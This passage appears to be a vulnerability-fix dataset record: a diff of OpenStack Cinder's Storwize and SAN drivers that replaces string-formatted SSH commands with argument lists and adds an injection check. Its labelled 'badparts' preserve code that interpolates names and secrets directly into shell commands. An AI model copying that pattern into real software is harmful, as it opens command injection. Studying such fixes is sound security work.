'-autoexpand' if opts['autoexpand'] else ''\n- easytier = '-easytier on' if opts['easytier'] else '-easytier off'\n+ easytier = 'on' if opts['easytier'] else 'off'\n \n # Set space-efficient options\n if opts['rsize'] == -1:\n- ssh_cmd_se_opt = ''\n+ ssh_cmd_se_opt = []\n else:\n- ssh_cmd_se_opt = (\n- '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %\n- {'rsize': opts['rsize'],\n- 'autoex': autoex,\n- 'warn': opts['warning']})\n+ ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),\n+ '-autoexpand', '-warning',\n+ '%s%%' % str(opts['warning'])]\n+ if not opts['autoexpand']:\n+ ssh_cmd_se_opt.remove('-autoexpand')\n+\n if opts['compression']:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'\n+ ssh_cmd_se_opt.append('-compressed')\n else:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + (\n- ' -grainsize %d' % opts['grainsize'])\n-\n- ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '\n- '-iogrp 0 -size %(size)s -unit '\n- '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'\n- % {'name': name,\n- 'mdiskgrp': self.configuration.storwize_svc_volpool_name,\n- 'size': size, 'unit': units, 'easytier': easytier,\n- 'ssh_cmd_se_opt': ssh_cmd_se_opt})\n+ ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])\n+\n+ ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',\n+ self.configuration.storwize_svc_volpool_name,\n+ '-iogrp', '0', '-size', size, '-unit',\n+ units, '-easytier', easytier] + ssh_cmd_se_opt\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n@@ -964,12 +962,10 @@ def _create_vdisk(self, name, size, units, opts):\n LOG.debug(_('leave: _create_vdisk: volume %s ') % name)\n \n def _make_fc_map(self, source, target, full_copy):\n- copyflag = '' if full_copy else '-copyrate 0'\n- fc_map_cli_cmd = ('svctask mkfcmap -source %(src)s -target %(tgt)s '\n- '-autodelete %(copyflag)s' %\n- {'src': source,\n- 'tgt': target,\n- 'copyflag': copyflag})\n+ fc_map_cli_cmd = ['svctask', 'mkfcmap', '-source', source, '-target',\n+ target, '-autodelete']\n+ if not full_copy:\n+ fc_map_cli_cmd.extend(['-copyrate', '0'])\n out, err = self._run_ssh(fc_map_cli_cmd)\n self._driver_assert(\n len(out.strip()),\n@@ -1020,7 +1016,7 @@ def _make_fc_map(self, source, target, full_copy):\n \n def _call_prepare_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask prestartfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'prestartfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_prepare_fc_map: Failed to prepare FlashCopy '\n@@ -1077,7 +1073,7 @@ def _prepare_fc_map(self, fc_map_id, source, target):\n \n def _start_fc_map(self, fc_map_id, source, target):\n try:\n- out, err = self._run_ssh('svctask startfcmap %s' % fc_map_id)\n+ out, err = self._run_ssh(['svctask', 'startfcmap', fc_map_id])\n except exception.ProcessExecutionError as e:\n with excutils.save_and_reraise_exception():\n LOG.error(_('_start_fc_map: Failed to start FlashCopy '\n@@ -1148,8 +1144,8 @@ def _get_flashcopy_mapping_attributes(self, fc_map_id):\n LOG.debug(_('enter: _get_flashcopy_mapping_attributes: mapping %s')\n % fc_map_id)\n \n- fc_ls_map_cmd = 'svcinfo lsfcmap -filtervalue id=%s -delim !' % \\\n- fc_map_id\n+ fc_ls_map_cmd = ['svcinfo', 'lsfcmap', '-filtervalue',\n+ 'id=%s' % fc_map_id, '-delim', '!']\n out, err = self._run_ssh(fc_ls_map_cmd)\n if not len(out.strip()):\n return None\n@@ -1204,8 +1200,8 @@ def _ensure_vdisk_no_fc_mappings(self, name, allow_snaps=True):\n if source == name:\n if not allow_snaps:\n return False\n- ssh_cmd = ('svctask chfcmap -copyrate 50 '\n- '-autodelete on %s' % map_id)\n+ ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',\n+ '-autodelete', 'on', map_id]\n out, err = self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n@@ -1215,19 +1211,20 @@ def _ensure_vdisk_no_fc_mappings(self, name, allow_snaps=True):\n {'name': name, 'src': source, 'tgt': target})\n self._driver_assert(target == name, msg)\n if status in ['copying', 'prepared']:\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n elif status in ['stopping', 'preparing']:\n wait_for_copy = True\n else:\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force',\n+ map_id])\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n elif status == 'idle_or_copied':\n # Prepare failed\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n else:\n wait_for_copy = True\n if wait_for_copy:\n@@ -1266,9 +1263,9 @@ def _delete_vdisk(self, name, force):\n \n self._ensure_vdisk_no_fc_mappings(name)\n \n- forceflag = '-force' if force else ''\n- cmd_params = {'frc': forceflag, 'name': name}\n- ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params\n+ ssh_cmd = ['svctask', 'rmvdisk', '-force', name]\n+ if not force:\n+ ssh_cmd.remove('-force')\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -1336,8 +1333,8 @@ def extend_volume(self, volume, new_size):\n raise exception.VolumeBackendAPIException(data=exception_message)\n \n extend_amt = int(new_size) - volume['size']\n- ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'\n- % {'amt': extend_amt, 'name': volume['name']})\n+ ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n+ '-unit', 'gb', volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n@@ -1376,7 +1373,7 @@ def _update_volume_stats(self):\n \n pool = self.configuration.storwize_svc_volpool_name\n #Get storage system name\n- ssh_cmd = 'svcinfo lssystem -delim !'\n+ ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n exception_message = (_('_update_volume_stats: '\n@@ -1388,7 +1385,7 @@ def _update_volume_stats(self):\n backend_name = '%s_%s' % (attributes['name'], pool)\n data['volume_backend_name'] = backend_name\n \n- ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n@@ -1406,7 +1403,7 @@ def _update_volume_stats(self):\n self._stats = data\n \n def _port_conf_generator(self, cmd):\n- ssh_cmd = '%s -delim !' % cmd\n+ ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -1483,7 +1480,7 @@ def _execute_command_and_parse_attributes(self, ssh_cmd):\n \"\"\"\n \n LOG.debug(_('enter: _execute_command_and_parse_attributes: '\n- ' command %s') % ssh_cmd)\n+ ' command %s') % str(ssh_cmd))\n \n try:\n out, err = self._run_ssh(ssh_cmd)\n@@ -1509,7 +1506,7 @@ def _execute_command_and_parse_attributes(self, ssh_cmd):\n LOG.debug(_('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s')\n- % {'cmd': ssh_cmd,\n+ % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n \n return attributes\n", "files": {"/cinder/tests/test_storwize_svc.py": {"changes": [{"diff": "\n return True\n \n # Convert argument string to dictionary\n- def _cmd_to_dict(self, cmd):\n- arg_list = cmd.split()\n+ def _cmd_to_dict(self, arg_list):\n no_param_args = [\n 'autodelete',\n 'autoexpand',\n", "add": 1, "remove": 2, "filename": "/cinder/tests/test_storwize_svc.py", "badparts": [" def _cmd_to_dict(self, cmd):", " arg_list = cmd.split()"], "goodparts": [" def _cmd_to_dict(self, arg_list):"]}, {"diff": "\n \n command = kwargs['cmd']\n del kwargs['cmd']\n- arg_list = cmd.split()\n \n if command == 'lsmdiskgrp':\n out, err = self._cmd_lsmdiskgrp(**kwargs", "add": 0, "remove": 1, "filename": "/cinder/tests/test_storwize_svc.py", "badparts": [" arg_list = cmd.split()"], "goodparts": []}]}, "/cinder/volume/drivers/san/san.py": {"changes": [{"diff": "\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n \n- def _run_ssh(self, command, check_exit_code=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_", "add": 4, "remove": 1, "filename": "/cinder/volume/drivers/san/san.py", "badparts": [" def _run_ssh(self, command, check_exit_code=True, attempts=1):"], "goodparts": [" def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):", " utils.check_ssh_injection(cmd_list)", " command = ' '. join(cmd_list)"]}], "source": "\n \"\"\" Default Driver for san-stored volumes. The unique thing about a SAN is that we don't expect that we can run the volume controller on the SAN hardware. We expect to access it over SSH or some API. \"\"\" import random from eventlet import greenthread from oslo.config import cfg from cinder import exception from cinder.openstack.common import excutils from cinder.openstack.common import log as logging from cinder import utils from cinder.volume import driver LOG=logging.getLogger(__name__) san_opts=[ cfg.BoolOpt('san_thin_provision', default=True, help='Use thin provisioning for SAN volumes?'), cfg.StrOpt('san_ip', default='', help='IP address of SAN controller'), cfg.StrOpt('san_login', default='admin', help='Username for SAN controller'), cfg.StrOpt('san_password', default='', help='Password for SAN controller', secret=True), cfg.StrOpt('san_private_key', default='', help='Filename of private key to use for SSH authentication'), cfg.StrOpt('san_clustername', default='', help='Cluster name to use for creating volumes'), cfg.IntOpt('san_ssh_port', default=22, help='SSH port to use with SAN'), cfg.BoolOpt('san_is_local', default=False, help='Execute commands locally instead of over SSH; ' 'use if the volume service is running on the SAN device'), cfg.IntOpt('ssh_conn_timeout', default=30, help=\"SSH connection timeout in seconds\"), cfg.IntOpt('ssh_min_pool_conn', default=1, help='Minimum ssh connections in the pool'), cfg.IntOpt('ssh_max_pool_conn', default=5, help='Maximum ssh connections in the pool'), ] CONF=cfg.CONF CONF.register_opts(san_opts) class SanDriver(driver.VolumeDriver): \"\"\"Base class for SAN-style storage volumes A SAN-style storage value is 'different' because the volume controller probably won't run on it, so we need to access is over SSH or another remote protocol. \"\"\" def __init__(self, *args, **kwargs): execute=kwargs.pop('execute', self.san_execute) super(SanDriver, self).__init__(execute=execute, *args, **kwargs) self.configuration.append_config_values(san_opts) self.run_local=self.configuration.san_is_local self.sshpool=None def san_execute(self, *cmd, **kwargs): if self.run_local: return utils.execute(*cmd, **kwargs) else: check_exit_code=kwargs.pop('check_exit_code', None) command=' '.join(cmd) return self._run_ssh(command, check_exit_code) def _run_ssh(self, command, check_exit_code=True, attempts=1): if not self.sshpool: password=self.configuration.san_password privatekey=self.configuration.san_private_key min_size=self.configuration.ssh_min_pool_conn max_size=self.configuration.ssh_max_pool_conn self.sshpool=utils.SSHPool(self.configuration.san_ip, self.configuration.san_ssh_port, self.configuration.ssh_conn_timeout, self.configuration.san_login, password=password, privatekey=privatekey, min_size=min_size, max_size=max_size) last_exception=None try: total_attempts=attempts with self.sshpool.item() as ssh: while attempts > 0: attempts -=1 try: return utils.ssh_execute( ssh, command, check_exit_code=check_exit_code) except Exception as e: LOG.error(e) last_exception=e greenthread.sleep(random.randint(20, 500) / 100.0) try: raise exception.ProcessExecutionError( exit_code=last_exception.exit_code, stdout=last_exception.stdout, stderr=last_exception.stderr, cmd=last_exception.cmd) except AttributeError: raise exception.ProcessExecutionError( exit_code=-1, stdout=\"\", stderr=\"Error running SSH command\", cmd=command) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_(\"Error running SSH command: %s\") % command) def ensure_export(self, context, volume): \"\"\"Synchronously recreates an export for a logical volume.\"\"\" pass def create_export(self, context, volume): \"\"\"Exports the volume.\"\"\" pass def remove_export(self, context, volume): \"\"\"Removes an export for a logical volume.\"\"\" pass def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" if not self.run_local: if not(self.configuration.san_password or self.configuration.san_private_key): raise exception.InvalidInput( reason=_('Specify san_password or san_private_key')) if not self.configuration.san_ip: raise exception.InvalidInput(reason=_(\"san_ip must be set\")) class SanISCSIDriver(SanDriver, driver.ISCSIDriver): def __init__(self, *args, **kwargs): super(SanISCSIDriver, self).__init__(*args, **kwargs) def _build_iscsi_target_name(self, volume): return \"%s%s\" %(self.configuration.iscsi_target_prefix, volume['name']) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2011 Justin Santa Barbara\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nDefault Driver for san-stored volumes.\n\nThe unique thing about a SAN is that we don't expect that we can run the volume\ncontroller on the SAN hardware. We expect to access it over SSH or some API.\n\"\"\"\n\nimport random\n\nfrom eventlet import greenthread\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nfrom cinder.volume import driver\n\nLOG = logging.getLogger(__name__)\n\nsan_opts = [\n cfg.BoolOpt('san_thin_provision',\n default=True,\n help='Use thin provisioning for SAN volumes?'),\n cfg.StrOpt('san_ip',\n default='',\n help='IP address of SAN controller'),\n cfg.StrOpt('san_login',\n default='admin',\n help='Username for SAN controller'),\n cfg.StrOpt('san_password',\n default='',\n help='Password for SAN controller',\n secret=True),\n cfg.StrOpt('san_private_key',\n default='',\n help='Filename of private key to use for SSH authentication'),\n cfg.StrOpt('san_clustername',\n default='',\n help='Cluster name to use for creating volumes'),\n cfg.IntOpt('san_ssh_port',\n default=22,\n help='SSH port to use with SAN'),\n cfg.BoolOpt('san_is_local',\n default=False,\n help='Execute commands locally instead of over SSH; '\n 'use if the volume service is running on the SAN device'),\n cfg.IntOpt('ssh_conn_timeout',\n default=30,\n help=\"SSH connection timeout in seconds\"),\n cfg.IntOpt('ssh_min_pool_conn',\n default=1,\n help='Minimum ssh connections in the pool'),\n cfg.IntOpt('ssh_max_pool_conn',\n default=5,\n help='Maximum ssh connections in the pool'),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(san_opts)\n\n\nclass SanDriver(driver.VolumeDriver):\n \"\"\"Base class for SAN-style storage volumes\n\n A SAN-style storage value is 'different' because the volume controller\n probably won't run on it, so we need to access is over SSH or another\n remote protocol.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n execute = kwargs.pop('execute', self.san_execute)\n super(SanDriver, self).__init__(execute=execute,\n *args, **kwargs)\n self.configuration.append_config_values(san_opts)\n self.run_local = self.configuration.san_is_local\n self.sshpool = None\n\n def san_execute(self, *cmd, **kwargs):\n if self.run_local:\n return utils.execute(*cmd, **kwargs)\n else:\n check_exit_code = kwargs.pop('check_exit_code', None)\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n\n def _run_ssh(self, command, check_exit_code=True, attempts=1):\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\n min_size = self.configuration.ssh_min_pool_conn\n max_size = self.configuration.ssh_max_pool_conn\n self.sshpool = utils.SSHPool(self.configuration.san_ip,\n self.configuration.san_ssh_port,\n self.configuration.ssh_conn_timeout,\n self.configuration.san_login,\n password=password,\n privatekey=privatekey,\n min_size=min_size,\n max_size=max_size)\n last_exception = None\n try:\n total_attempts = attempts\n with self.sshpool.item() as ssh:\n while attempts > 0:\n attempts -= 1\n try:\n return utils.ssh_execute(\n ssh,\n command,\n check_exit_code=check_exit_code)\n except Exception as e:\n LOG.error(e)\n last_exception = e\n greenthread.sleep(random.randint(20, 500) / 100.0)\n try:\n raise exception.ProcessExecutionError(\n exit_code=last_exception.exit_code,\n stdout=last_exception.stdout,\n stderr=last_exception.stderr,\n cmd=last_exception.cmd)\n except AttributeError:\n raise exception.ProcessExecutionError(\n exit_code=-1,\n stdout=\"\",\n stderr=\"Error running SSH command\",\n cmd=command)\n\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error running SSH command: %s\") % command)\n\n def ensure_export(self, context, volume):\n \"\"\"Synchronously recreates an export for a logical volume.\"\"\"\n pass\n\n def create_export(self, context, volume):\n \"\"\"Exports the volume.\"\"\"\n pass\n\n def remove_export(self, context, volume):\n \"\"\"Removes an export for a logical volume.\"\"\"\n pass\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n if not self.run_local:\n if not (self.configuration.san_password or\n self.configuration.san_private_key):\n raise exception.InvalidInput(\n reason=_('Specify san_password or san_private_key'))\n\n # The san_ip must always be set, because we use it for the target\n if not self.configuration.san_ip:\n raise exception.InvalidInput(reason=_(\"san_ip must be set\"))\n\n\nclass SanISCSIDriver(SanDriver, driver.ISCSIDriver):\n def __init__(self, *args, **kwargs):\n super(SanISCSIDriver, self).__init__(*args, **kwargs)\n\n def _build_iscsi_target_name(self, volume):\n return \"%s%s\" % (self.configuration.iscsi_target_prefix,\n volume['name'])\n"}, "/cinder/volume/drivers/storwize_svc.py": {"changes": [{"diff": "\n for char in invalid_ch_in_host)\n \n def _get_iscsi_ip_addrs(self):\n- generator = self._port_conf_generator('svcinfo lsportip')\n+ generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" generator = self._port_conf_generator('svcinfo lsportip')"], "goodparts": [" generator = self._port_conf_generator(['svcinfo', 'lsportip'])"]}, {"diff": "\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n- ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]"]}, {"diff": "\n self._context = ctxt\n \n # Validate that the pool exists\n- ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']"]}, {"diff": "\n # Check if compression is supported\n self._compression_enabled = False\n try:\n- ssh_cmd = 'svcinfo lslicense -delim !'\n+ ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lslicense -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']"]}, {"diff": "\n LOG.exception(_('Failed to get license information.'))\n \n # Get the iSCSI and FC names of the Storwize/SVC nodes\n- ssh_cmd = 'svcinfo lsnode -delim !'\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsnode -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']"]}, {"diff": "\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n \n chap_secret = utils.generate_password()\n- ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'\n- % {'chap_secret': chap_secret, 'host_name': host_name})\n+ ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 1, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'", " % {'chap_secret': chap_secret, 'host_name': host_name})"], "goodparts": [" ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]"]}, {"diff": "\n LOG.debug(_('enter: _get_chap_secret_for_host: host name %s')\n % host_name)\n \n- ssh_cmd = 'svcinfo lsiscsiauth -delim !'\n+ ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsiscsiauth -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']"]}, {"diff": "\n \n def _find_host_from_wwpn(self, connector):\n for wwpn in connector['wwpns']:\n- ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn\n+ ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']"]}, {"diff": "\n \n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n- ssh_cmd = 'svcinfo lshost -delim ! %s' % host\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshost -delim ! %s' % host"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]"]}, {"diff": "\n LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)\n \n # Get list of host in the storage\n- ssh_cmd = 'svcinfo lshost -delim !'\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshost -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']"]}, {"diff": "\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n- ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %\n- {'port1': port1, 'host_name': host_name})\n+ arg_name, arg_val = port1.split()\n+ ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n+ '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n \n # Add any additional ports to the host\n for port in ports:\n- ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))\n+ arg_name, arg_val = port.split()\n+ ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,\n+ host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n LOG.debug(_('leave: _create_host: host %(host)s - %(host_name)s') %\n", "add": 6, "remove": 3, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %", " {'port1': port1, 'host_name': host_name})", " ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))"], "goodparts": [" arg_name, arg_val = port1.split()", " ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',", " '\"%s\"' % host_name]", " arg_name, arg_val = port.split()", " ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,", " host_name]"]}, {"diff": "\n \"\"\"Return the defined storage mappings for a host.\"\"\"\n \n return_data = {}\n- ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name\n+ ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mappings = out.strip().split('\\n')\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]"]}, {"diff": "\n \n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n- ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '\n- '%(result_lun)s %(volume_name)s' %\n- {'host_name': host_name,\n- 'result_lun': result_lun,\n- 'volume_name': volume_name})\n+ ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n+ '-scsi', result_lun, volume_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n", "add": 2, "remove": 5, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '", " '%(result_lun)s %(volume_name)s' %", " {'host_name': host_name,", " 'result_lun': result_lun,", " 'volume_name': volume_name})"], "goodparts": [" ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,", " '-scsi', result_lun, volume_name]"]}, {"diff": "\n 'was not created because the VDisk is '\\\n 'already mapped to a host.\\n\"'\n raise exception.CinderException(data=exception_msg)\n- ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',\n- 'mkvdiskhostmap -force')\n+\n+ for i in range(len(ssh_cmd)):\n+ if ssh_cmd[i] == 'mkvdiskhostmap':\n+ ssh_cmd.insert(i + 1, '-force')\n+\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('volume %s mapping to multi host') % volume_name)\n", "add": 5, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',", " 'mkvdiskhostmap -force')"], "goodparts": [" for i in range(len(ssh_cmd)):", " if ssh_cmd[i] == 'mkvdiskhostmap':", " ssh_cmd.insert(i + 1, '-force')"]}, {"diff": "\n \n LOG.debug(_('enter: _delete_host: host %s ') % host_name)\n \n- ssh_cmd = 'svctask rmhost %s ' % host_name\n+ ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svctask rmhost %s ' % host_name"], "goodparts": [" ssh_cmd = ['svctask', 'rmhost', host_name]"]}, {"diff": "\n \n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n- cmd = 'svcinfo lsfabric -host %s' % host_name\n+ cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" cmd = 'svcinfo lsfabric -host %s' % host_name"], "goodparts": [" cmd = ['svcinfo', 'lsfabric', '-host', host_name]"]}, {"diff": "\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vol_name in mapping_data:\n- ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\\n- (host_name, vol_name)\n+ ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n+ vol_name]\n out, err = self._run_ssh(ssh_cmd)\n # 